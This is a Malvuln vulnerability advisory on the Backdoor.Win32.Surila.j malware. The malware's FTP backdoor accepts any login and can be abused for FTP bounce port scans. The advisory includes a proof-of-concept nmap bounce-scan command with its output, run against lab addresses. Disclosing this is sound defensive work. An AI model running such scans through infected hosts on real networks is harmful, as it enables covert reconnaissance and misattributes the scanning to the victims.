Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/b1cec4b806c71c82bbd9002bdaf21d1f.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Surila.j Vulnerability: Port Bounce Scan Description: The malware listens on random TCP high port numbers typically starting with "1" E.g. 12356, 14985, 13850, 19050, 13137. The malware has an FTP component that accepts any username/password credentials. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. Type: PE32 MD5: b1cec4b806c71c82bbd9002bdaf21d1f Vuln ID: MVID-2021-0288 Dropped files: iexp1orer.exe Disclosure: 07/12/2021 Exploit/PoC: nmap -Pn -n -b mal:vuln@192.168.18.125:14849 192.168.18.237 -p21,23,80 -v Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-10 15:19 Pacific Daylight Time Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125). Attempting connection to ftp://mal:vuln@192.168.18.125:14849 Connected:220 Bot Server (Win32) Login credentials accepted by FTP server! Discovered open port 80/tcp on 192.168.18.237 Completed Bounce Scan at 15:20, 20.45s elapsed (3 total ports) Nmap scan report for 192.168.18.237 Host is up. PORT STATE SERVICE 21/tcp closed ftp 23/tcp closed telnet 80/tcp open http Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).